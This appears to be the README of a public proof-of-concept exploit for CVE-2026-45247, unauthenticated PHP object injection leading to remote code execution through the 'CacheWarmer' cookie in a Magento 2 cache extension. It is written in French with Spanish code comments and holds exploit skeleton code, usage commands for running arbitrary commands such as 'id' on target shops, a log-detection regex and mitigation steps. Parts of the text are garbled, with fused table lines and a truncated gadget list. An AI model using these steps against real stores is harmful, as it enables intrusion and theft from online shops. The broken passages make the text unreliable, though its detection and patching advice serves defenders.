
PoC fonctionnel de CVE-2026-45247 : injection d'objets PHP vers RCE non authentifié dans Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 est une vulnérabilité critique d'Injection d'objets PHP (PHP Object Injection) dans l'extension Mirasvit Full Page Cache Warmer pour Magento 2 et Adobe Commerce. Un attaquant non authentifié peut parvenir à une Exécution de code à distance (RCE) en envoyant un objet PHP sérialisé manipulé dans le cookie CacheWarmer.
La vulnérabilité réside dans l'appel sans restriction à la fonction native unserialize() de PHP, combiné avec des chaînes de gadgets (gadget chains) disponibles dans Magento et ses dépendances (notamment Monolog).
| Attribut | Valeur |
|---|---|
| CVE | CVE-2026-45247 |
| Produit | Mirasvit Full Page Cache Warmer for Magento 2 |
| Versions affectées | Toutes les versions antérieures à 1.11.12 |
| Correctif disponible | Version 1.11.12 (25 mai 2026) |
| Score CVSS | 9.8 (Critique) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Statut dans CISA KEV | Exploitation active confirmée (ajoutée le 03/06/2026) |
| Date limite | 06/06/2026 |
CacheWarmer à chaque requête de boutiqueunserialize() sans assainissementSyslogUdpHandler, BufferHandler, FingersCrossedHandler), on obtient une RCE# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
Dans les logs d'accès :
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Commandes observées lors de l'exploitation :
echo PWNED_CVE2026_$(date +%s)
sleep 5
Chaînes de gadgets utilisées :
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}